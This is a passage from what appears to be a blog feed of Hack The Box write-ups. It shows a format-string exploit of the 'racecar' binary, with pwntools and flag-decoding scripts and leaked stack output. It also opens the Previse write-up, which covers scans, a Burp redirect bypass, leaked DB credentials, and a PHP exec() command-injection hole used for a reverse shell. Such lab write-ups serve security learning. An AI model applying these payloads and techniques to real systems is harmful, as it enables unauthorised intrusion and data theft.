</span></span><span style="display:flex;"><span>    iVar3 <span style="color:#f92672">=</span> iVar3 <span style="color:#f92672">%</span> <span style="color:#ae81ff">100</span>;
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">else</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> (((iVar1 <span style="color:#f92672">==</span> <span style="color:#ae81ff">1</span>) <span style="color:#f92672">&amp;&amp;</span> (iVar2 <span style="color:#f92672">==</span> <span style="color:#ae81ff">1</span>)) <span style="color:#f92672">||</span> ((iVar1 <span style="color:#f92672">==</span> <span style="color:#ae81ff">2</span> <span style="color:#f92672">&amp;&amp;</span> (iVar2 <span style="color:#f92672">==</span> <span style="color:#ae81ff">1</span>)))) {
</span></span><span style="display:flex;"><span>      iVar2 <span style="color:#f92672">=</span> <span style="color:#a6e22e">rand</span>();
</span></span><span style="display:flex;"><span>      iVar2 <span style="color:#f92672">=</span> iVar2 <span style="color:#f92672">%</span> <span style="color:#ae81ff">100</span>;
</span></span><span style="display:flex;"><span>      iVar3 <span style="color:#f92672">=</span> <span style="color:#a6e22e">rand</span>();
</span></span><span style="display:flex;"><span>      iVar3 <span style="color:#f92672">=</span> iVar3 <span style="color:#f92672">%</span> <span style="color:#ae81ff">10</span>;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">else</span> {
</span></span><span style="display:flex;"><span>      iVar2 <span style="color:#f92672">=</span> <span style="color:#a6e22e">rand</span>();
</span></span><span style="display:flex;"><span>      iVar2 <span style="color:#f92672">=</span> iVar2 <span style="color:#f92672">%</span> <span style="color:#ae81ff">100</span>;
</span></span><span style="display:flex;"><span>      iVar3 <span style="color:#f92672">=</span> <span style="color:#a6e22e">rand</span>();
</span></span><span style="display:flex;"><span>      iVar3 <span style="color:#f92672">=</span> iVar3 <span style="color:#f92672">%</span> <span style="color:#ae81ff">100</span>;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>  local_54 <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">while</span>( true ) {
</span></span><span style="display:flex;"><span>    sVar4 <span style="color:#f92672">=</span> <span style="color:#a6e22e">strlen</span>(<span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">[*] Waiting for the race to finish...&#34;</span>);
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> (sVar4 <span style="color:#f92672">&lt;=</span> local_54) <span style="color:#66d9ef">break</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">putchar</span>((<span style="color:#66d9ef">int</span>)<span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">[*] Waiting for the race to finish...&#34;</span>[local_54]);
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> (<span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">[*] Waiting for the race to finish...&#34;</span>[local_54] <span style="color:#f92672">==</span> <span style="color:#e6db74">&#39;.&#39;</span>) {
</span></span><span style="display:flex;"><span>      <span style="color:#a6e22e">sleep</span>(<span style="color:#ae81ff">0</span>);
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    local_54 <span style="color:#f92672">=</span> local_54 <span style="color:#f92672">+</span> <span style="color:#ae81ff">1</span>;
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">if</span> (((iVar1 <span style="color:#f92672">==</span> <span style="color:#ae81ff">1</span>) <span style="color:#f92672">&amp;&amp;</span> (iVar2 <span style="color:#f92672">&lt;</span> iVar3)) <span style="color:#f92672">||</span> ((iVar1 <span style="color:#f92672">==</span> <span style="color:#ae81ff">2</span> <span style="color:#f92672">&amp;&amp;</span> (iVar3 <span style="color:#f92672">&lt;</span> iVar2)))) {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">&#34;%s</span><span style="color:#ae81ff">\n\n</span><span style="color:#e6db74">[+] You won the race!! You get 100 coins!</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>,<span style="color:#f92672">&amp;</span>DAT_00011540);
</span></span><span style="display:flex;"><span>    coins <span style="color:#f92672">=</span> coins <span style="color:#f92672">+</span> <span style="color:#ae81ff">100</span>;
</span></span><span style="display:flex;"><span>    puVar5 <span style="color:#f92672">=</span> <span style="color:#f92672">&amp;</span>DAT_00011538;
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">&#34;[+] Current coins: [%d]%s</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>,coins,<span style="color:#f92672">&amp;</span>DAT_00011538);
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">[!] Do you have anything to say to the press after your big victory?</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&gt; %s&#34;</span>,
</span></span><span style="display:flex;"><span>           <span style="color:#f92672">&amp;</span>DAT_000119de);
</span></span><span style="display:flex;"><span>    __format <span style="color:#f92672">=</span> (<span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>)<span style="color:#a6e22e">malloc</span>(<span style="color:#ae81ff">0x171</span>);
</span></span><span style="display:flex;"><span>    __stream <span style="color:#f92672">=</span> <span style="color:#a6e22e">fopen</span>(<span style="color:#e6db74">&#34;flag.txt&#34;</span>,<span style="color:#e6db74">&#34;r&#34;</span>);
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> (__stream <span style="color:#f92672">==</span> (FILE <span style="color:#f92672">*</span>)<span style="color:#ae81ff">0x0</span>) {
</span></span><span style="display:flex;"><span>      <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">&#34;%s[-] Could not open flag.txt. Please contact the creator.</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>,<span style="color:#f92672">&amp;</span>DAT_00011548,puVar5);
</span></span><span style="display:flex;"><span>                    <span style="color:#75715e">/* WARNING: Subroutine does not return */</span>
</span></span><span style="display:flex;"><span>      <span style="color:#a6e22e">exit</span>(<span style="color:#ae81ff">0x69</span>);
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">fgets</span>(local_3c,<span style="color:#ae81ff">0x2c</span>,__stream);
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">read</span>(<span style="color:#ae81ff">0</span>,__format,<span style="color:#ae81ff">0x170</span>);
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">puts</span>(
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\n\x1b</span><span style="color:#e6db74">[3mThe Man, the Myth, the Legend! The grand winner of the race wants the whole world to know this: </span><span style="color:#ae81ff">\x1b</span><span style="color:#e6db74">[0m&#34;</span>
</span></span><span style="display:flex;"><span>        );
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">printf</span>(__format);
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">else</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> (((iVar1 <span style="color:#f92672">==</span> <span style="color:#ae81ff">1</span>) <span style="color:#f92672">&amp;&amp;</span> (iVar3 <span style="color:#f92672">&lt;</span> iVar2)) <span style="color:#f92672">||</span> ((iVar1 <span style="color:#f92672">==</span> <span style="color:#ae81ff">2</span> <span style="color:#f92672">&amp;&amp;</span> (iVar2 <span style="color:#f92672">&lt;</span> iVar3)))) {
</span></span><span style="display:flex;"><span>      <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">&#34;%s</span><span style="color:#ae81ff">\n\n</span><span style="color:#e6db74">[-] You lost the race and all your coins!</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>,<span style="color:#f92672">&amp;</span>DAT_00011548);
</span></span><span style="display:flex;"><span>      coins <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>      <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">&#34;[+] Current coins: [%d]%s</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>,<span style="color:#ae81ff">0</span>,<span style="color:#f92672">&amp;</span>DAT_00011538);
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">if</span> (local_10 <span style="color:#f92672">!=</span> <span style="color:#f92672">*</span>(<span style="color:#66d9ef">int</span> <span style="color:#f92672">*</span>)(in_GS_OFFSET <span style="color:#f92672">+</span> <span style="color:#ae81ff">0x14</span>)) {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">__stack_chk_fail_local</span>();
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">return</span>;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>You can carefully examine it for studying purpose, but to keep it short, basically it&rsquo;s:</p>
<ul>
<li>If you choose car 1 and race 2, or car 2 and race 1, you win</li>
<li>When you win, it let you input something there, and print it back out</li>
</ul>
<p>Here&rsquo;s what would happen:

  <img src="/img/racecar/test-run.gif#center" alt="">

</p>
<p>Now that we&rsquo;ve known what this program does, how to exploit it?</p>
<p>See this little, cute command somewhere on the 82th line of <code>car_menu()</code> function? :D</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#a6e22e">printf</span>(__format);
</span></span></code></pre></div><p>Yeah, as clear as day, a <a href="https://owasp.org/www-community/attacks/Format_string_attack">format string vulnerability</a>!</p>
<p>Try to insert a payload there:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span>[<span style="color:#f92672">!</span>] Do you have anything to say to the press after your big victory<span style="color:#f92672">?</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> <span style="color:#f92672">%</span>x<span style="color:#f92672">%</span>x
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>The Man, the Myth, the Legend<span style="color:#f92672">!</span> The grand winner of the race wants the whole world to know this: 
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">57916200170</span>
</span></span></code></pre></div><p>Well, it&rsquo;s vulnerable.</p>
<p>Since it&rsquo;s quite troublesome to enter our payload each time, here&rsquo;s an on-the-spot Python script to make our life easier. :D</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#75715e">#!/usr/bin/env python3</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">from</span> pwn <span style="color:#f92672">import</span> <span style="color:#f92672">*</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>context<span style="color:#f92672">.</span>log_level <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;ERROR&#39;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">exploit</span>(payload: str):
</span></span><span style="display:flex;"><span>	conn <span style="color:#f92672">=</span> process(<span style="color:#e6db74">&#39;./racecar&#39;</span>)
</span></span><span style="display:flex;"><span>	conn<span style="color:#f92672">.</span>sendlineafter(<span style="color:#e6db74">b</span><span style="color:#e6db74">&#39;Name&#39;</span>, <span style="color:#e6db74">b</span><span style="color:#e6db74">&#39;aki&#39;</span>)
</span></span><span style="display:flex;"><span>	conn<span style="color:#f92672">.</span>sendlineafter(<span style="color:#e6db74">b</span><span style="color:#e6db74">&#39;Nickname&#39;</span>, <span style="color:#e6db74">b</span><span style="color:#e6db74">&#39;aki&#39;</span>)
</span></span><span style="display:flex;"><span>	conn<span style="color:#f92672">.</span>sendlineafter(<span style="color:#e6db74">b</span><span style="color:#e6db74">&#39;selection&#39;</span>, <span style="color:#e6db74">b</span><span style="color:#e6db74">&#39;2&#39;</span>)
</span></span><span style="display:flex;"><span>	conn<span style="color:#f92672">.</span>sendlineafter(<span style="color:#e6db74">b</span><span style="color:#e6db74">&#39;car&#39;</span>, <span style="color:#e6db74">b</span><span style="color:#e6db74">&#39;1&#39;</span>)
</span></span><span style="display:flex;"><span>	conn<span style="color:#f92672">.</span>sendlineafter(<span style="color:#e6db74">b</span><span style="color:#e6db74">&#39;Circuit&#39;</span>, <span style="color:#e6db74">b</span><span style="color:#e6db74">&#39;2&#39;</span>)
</span></span><span style="display:flex;"><span>	conn<span style="color:#f92672">.</span>sendlineafter(<span style="color:#e6db74">b</span><span style="color:#e6db74">&#39;victory?&#39;</span>, bytes(payload, encoding<span style="color:#f92672">=</span><span style="color:#e6db74">&#39;utf-8&#39;</span>))
</span></span><span style="display:flex;"><span>	conn<span style="color:#f92672">.</span>recv()
</span></span><span style="display:flex;"><span>	print(conn<span style="color:#f92672">.</span>recv()<span style="color:#f92672">.</span>decode(<span style="color:#e6db74">&#39;utf-8&#39;</span>))
</span></span><span style="display:flex;"><span>	conn<span style="color:#f92672">.</span>close()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> __name__ <span style="color:#f92672">==</span> <span style="color:#e6db74">&#39;__main__&#39;</span>:
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">while</span> <span style="color:#66d9ef">True</span>:
</span></span><span style="display:flex;"><span>		exploit(input(<span style="color:#e6db74">&#39;Enter payload: &#39;</span>))
</span></span></code></pre></div><p>I also created a <code>flag.txt</code> contains only <code>AAAA</code>, since that&rsquo;ll be <code>41414141</code> in hex - much easier to spot.</p>
<pre tabindex="0"><code>[!] Do you have anything to say to the press after your big victory?
&gt; %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p

The Man, the Myth, the Legend! The grand winner of the race wants the whole world to know this: 
0x568e4200 0x170 0x565c8d85 0x5 0x4c 0x26 0x1 0x2 0x565c996c 0x568e4200 0x568e4380 0x41414141 0xa414141 0xf7db0100 0xaf7cc300 0x565c9d58 0x565cbf8c 0xffda98c8 0x565c938d 0x565c9540
</code></pre><p>It&rsquo;s the 12th! Now, do just the same with the server, we get:</p>
<pre tabindex="0"><code>0x574361c0 0x170 0x56555d85 0x1 0x5e 0x26 0x1 0x2 0x5655696c 0x574361c0 0x57436340 0x7b425448 0x5f796877 0x5f643164 0x34735f31 0x745f3376 0x665f3368 0x5f67346c 0x745f6e30 0x355f3368 0x6b633474 0x7d213f 0xf149d800 0xf7f9e3fc 0x56558f8c 0xfffe9b38 0x56556441 0x1 0xfffe9be4 0xfffe9bec
</code></pre><p>It doesn&rsquo;t make much sense, does it? So let&rsquo;s spin up another convenient script:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#75715e">#!/usr/bin/env python3</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> re
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>raw_flag <span style="color:#f92672">=</span> input(<span style="color:#e6db74">&#34;Enter the raw data: &#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>raw_flag <span style="color:#f92672">=</span> raw_flag<span style="color:#f92672">.</span>split()[::<span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> i <span style="color:#f92672">in</span> range(len(raw_flag)):
</span></span><span style="display:flex;"><span>	raw_flag[i] <span style="color:#f92672">=</span> re<span style="color:#f92672">.</span>findall(<span style="color:#e6db74">&#39;..&#39;</span>, raw_flag[i])
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>flag <span style="color:#f92672">=</span> []
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> chars <span style="color:#f92672">in</span> raw_flag:
</span></span><span style="display:flex;"><span>	word <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;&#34;</span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">for</span> char <span style="color:#f92672">in</span> chars[::<span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>]:
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">if</span> char <span style="color:#f92672">!=</span> <span style="color:#e6db74">&#39;0x&#39;</span>:
</span></span><span style="display:flex;"><span>			word <span style="color:#f92672">+=</span> chr(int(char, <span style="color:#ae81ff">16</span>))
</span></span><span style="display:flex;"><span>	flag<span style="color:#f92672">.</span>append(word)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>flag<span style="color:#f92672">.</span>reverse()
</span></span><span style="display:flex;"><span>print(<span style="color:#e6db74">&#39;&#39;</span><span style="color:#f92672">.</span>join(flag))
</span></span></code></pre></div><p>Since it&rsquo;s not a piece of cake to filter out which bytes are meaningful, let&rsquo;s just plug all retrieved data to the script, and whatever gibberish it yield out must contain our flag!</p>
<p>In case you&rsquo;re curious, here&rsquo;s that gibberish:</p>
<pre tabindex="0"><code>]UV^&amp;liUVÀaCW@cCWHTB{why_d1d_1_s4v3_th3_fl4g_0n_th3_5t4ck?!}ØIñüãù÷UV8dUVä
</code></pre><p>See our flag in the middle? :D</p>
<p>And that&rsquo;s it. Nice challenge!</p>
]]></content:encoded>
    </item>
    <item>
      <title>Hack The Box - Previse writeup</title>
      <link>https://www.akihakune.com/blog/previse/</link>
      <pubDate>Sat, 11 Dec 2021 06:41:15 +0700</pubDate>
      <guid>https://www.akihakune.com/blog/previse/</guid>
      <description>A writeup for Hack The Box - Previse machine</description>
      <content:encoded><![CDATA[<h2 id="i-foothold">I. Foothold</h2>
<p>It all began with a port scan:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># Nmap 7.92 scan initiated Mon Dec  6 22:10:41 2021 as: nmap -sC -sV -oN nmap.txt 10.10.11.104</span>
</span></span><span style="display:flex;"><span>Nmap scan report <span style="color:#66d9ef">for</span> 10.10.11.104
</span></span><span style="display:flex;"><span>Host is up <span style="color:#f92672">(</span>0.64s latency<span style="color:#f92672">)</span>.
</span></span><span style="display:flex;"><span>Not shown: <span style="color:#ae81ff">998</span> closed tcp ports <span style="color:#f92672">(</span>conn-refused<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>PORT   STATE SERVICE VERSION
</span></span><span style="display:flex;"><span>22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 <span style="color:#f92672">(</span>Ubuntu Linux; protocol 2.0<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>| ssh-hostkey: 
</span></span><span style="display:flex;"><span>|   <span style="color:#ae81ff">2048</span> 53:ed:44:40:11:6e:8b:da:69:85:79:c0:81:f2:3a:12 <span style="color:#f92672">(</span>RSA<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>|   <span style="color:#ae81ff">256</span> bc:54:20:ac:17:23:bb:50:20:f4:e1:6e:62:0f:01:b5 <span style="color:#f92672">(</span>ECDSA<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>|_  <span style="color:#ae81ff">256</span> 33:c1:89:ea:59:73:b1:78:84:38:a4:21:10:0c:91:d8 <span style="color:#f92672">(</span>ED25519<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>80/tcp open  http?
</span></span><span style="display:flex;"><span>| http-cookie-flags: 
</span></span><span style="display:flex;"><span>|   /: 
</span></span><span style="display:flex;"><span>|     PHPSESSID: 
</span></span><span style="display:flex;"><span>|_      httponly flag not set
</span></span><span style="display:flex;"><span>| http-title: Previse Login
</span></span><span style="display:flex;"><span>|_Requested resource was login.php
</span></span><span style="display:flex;"><span>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Nmap done at Mon Dec  6 22:13:13 2021 -- 1 IP address (1 host up) scanned in 151.40 seconds</span>
</span></span></code></pre></div><p>I also ran a quick <code>RustScan</code> and set up a background <code>nmap</code> full ports scan, but seems like those 2 are the only ports opening. Also, since their version seems up-to-date (at the time of writing), looks like there&rsquo;s no better attack vector than the web application.</p>
<p>
  <img src="/img/previse/login.png#center" alt="">

</p>
<p>We&rsquo;re greeted with this basic login form upon opening it in a web browser.</p>
<p>To be honest, the first time I got there, someone&rsquo;d already pwned the system, and I easily managed to login using <code>admin:admin</code>. Not until I&rsquo;d got the box and getting round to write this writeup that I belatedly realized: hell, it should not have been that straight-forward. So it took me about half an hour more to figure out the proper way to log in.</p>
<p>Checking browser&rsquo;s DevTool, we can clearly see that it just simply redirect us to <code>login</code> page if we&rsquo;re not logged in.</p>
<p>So I fired up Burp Suite, intercepted the responses, change status from <code>302 Redirect</code> to <code>200 OK</code>, and I got in.</p>
<p>Around this time, Gobuster returned with quite positive results:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>┌──<span style="color:#f92672">(</span>kali㉿kali<span style="color:#f92672">)</span>-<span style="color:#f92672">[</span>~/ctf/htb/Previse<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>└─$ gobuster dir -x php -u http://10.10.11.104 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt 
</span></span><span style="display:flex;"><span><span style="color:#f92672">===============================================================</span>
</span></span><span style="display:flex;"><span>Gobuster v3.1.0
</span></span><span style="display:flex;"><span>by OJ Reeves <span style="color:#f92672">(</span>@TheColonial<span style="color:#f92672">)</span> &amp; Christian Mehlmauer <span style="color:#f92672">(</span>@firefart<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">===============================================================</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> Url:                     http://10.10.11.104
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> Method:                  GET
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> Threads:                 <span style="color:#ae81ff">10</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> Wordlist:                /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> Negative Status codes:   <span style="color:#ae81ff">404</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> User Agent:              gobuster/3.1.0
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> Extensions:              php
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> Timeout:                 10s
</span></span><span style="display:flex;"><span><span style="color:#f92672">===============================================================</span>
</span></span><span style="display:flex;"><span>2021/12/07 23:13:31 Starting gobuster in directory enumeration mode
</span></span><span style="display:flex;"><span><span style="color:#f92672">===============================================================</span>
</span></span><span style="display:flex;"><span>/index.php            <span style="color:#f92672">(</span>Status: 302<span style="color:#f92672">)</span> <span style="color:#f92672">[</span>Size: 2801<span style="color:#f92672">]</span> <span style="color:#f92672">[</span>--&gt; login.php<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>/download.php         <span style="color:#f92672">(</span>Status: 302<span style="color:#f92672">)</span> <span style="color:#f92672">[</span>Size: 0<span style="color:#f92672">]</span> <span style="color:#f92672">[</span>--&gt; login.php<span style="color:#f92672">]</span>   
</span></span><span style="display:flex;"><span>/login.php            <span style="color:#f92672">(</span>Status: 200<span style="color:#f92672">)</span> <span style="color:#f92672">[</span>Size: 2224<span style="color:#f92672">]</span>                
</span></span><span style="display:flex;"><span>/files.php            <span style="color:#f92672">(</span>Status: 302<span style="color:#f92672">)</span> <span style="color:#f92672">[</span>Size: 4914<span style="color:#f92672">]</span> <span style="color:#f92672">[</span>--&gt; login.php<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>/header.php           <span style="color:#f92672">(</span>Status: 200<span style="color:#f92672">)</span> <span style="color:#f92672">[</span>Size: 980<span style="color:#f92672">]</span>                 
</span></span><span style="display:flex;"><span>/nav.php              <span style="color:#f92672">(</span>Status: 200<span style="color:#f92672">)</span> <span style="color:#f92672">[</span>Size: 1248<span style="color:#f92672">]</span>                
</span></span><span style="display:flex;"><span>/footer.php           <span style="color:#f92672">(</span>Status: 200<span style="color:#f92672">)</span> <span style="color:#f92672">[</span>Size: 217<span style="color:#f92672">]</span>   
</span></span><span style="display:flex;"><span>...
</span></span></code></pre></div><p>I manually checked all <code>Status: 200</code> pages, and <code>nav.php</code> looked really promising.</p>
<p>
  <img src="/img/previse/nav.png#center" alt="">

</p>
<p>I reckoned that&rsquo;s to render the navigation bar, along with <code>header.php</code> and <code>footer.php</code>.</p>
<p>Using the same Burp Suite technique, I got to <code>Account</code> and create an account of myself (later I realized that I didn&rsquo;t need to, and shouldn&rsquo;t have done that, since it&rsquo;ll leave traces in the database, and in real-world scenarios, getting caught like that is not good).</p>
<p>After logged in, we can download uploaded files of other users. And an user uploaded something that looks like <a href="/data/previse/siteBackup.zip">the source code of this web app</a>.</p>
<p>Before reading any further, you can try to grab the source code, and try to figure out the vulnerability by yourself!</p>
<p>&hellip;</p>
<p>Have you done that? What&rsquo;s the vulnerability? How long did it take?</p>
<p>I reckon we all got the database credentials in <code>config.php</code> pretty quick:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-php" data-lang="php"><span style="display:flex;"><span><span style="color:#f92672">&lt;?</span><span style="color:#a6e22e">php</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">function</span> <span style="color:#a6e22e">connectDB</span>(){
</span></span><span style="display:flex;"><span>    $host <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;localhost&#39;</span>;
</span></span><span style="display:flex;"><span>    $user <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;root&#39;</span>;
</span></span><span style="display:flex;"><span>    $passwd <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;mySQL_p@ssw0rd!:)&#39;</span>;
</span></span><span style="display:flex;"><span>    $db <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;previse&#39;</span>;
</span></span><span style="display:flex;"><span>    $mycon <span style="color:#f92672">=</span> <span style="color:#66d9ef">new</span> <span style="color:#a6e22e">mysqli</span>($host, $user, $passwd, $db);
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> $mycon;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">?&gt;</span><span style="color:#960050;background-color:#1e0010">
</span></span></span></code></pre></div><p>However, it took me half an hour to stumble upon this line in <code>logs.php</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-php" data-lang="php"><span style="display:flex;"><span>$output <span style="color:#f92672">=</span> <span style="color:#a6e22e">exec</span>(<span style="color:#e6db74">&#34;/usr/bin/python /opt/scripts/log_process.py </span><span style="color:#e6db74">{</span>$_POST[<span style="color:#e6db74">&#39;delim&#39;</span>]<span style="color:#e6db74">}</span><span style="color:#e6db74">&#34;</span>);
</span></span></code></pre></div><p>With no validation whatsover, there&rsquo;s a great chance that it&rsquo;s a command execution vulnerability via POST request.</p>
<p>And so, I got back to Burp Suite, intercepted the request, sent it to repeater, trial and error (I mean, a lot of attempts), and finally got a reverse shell back.</p>
<p>As expected, the reverse shell returned was owned by <code>www-data</code> which didn&rsquo;t provide much privilege. However, since we&rsquo;d already had the MySQL database credentials, it&rsquo;s not hard to get all the password hashes.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span><span style="color:#f92672">+</span><span style="color:#75715e">----+------------+------------------------------------+
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#f92672">|</span> id <span style="color:#f92672">|</span> username   <span style="color:#f92672">|</span> password                           <span style="color:#f92672">|</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">+</span><span style="color:#75715e">----+------------+------------------------------------+
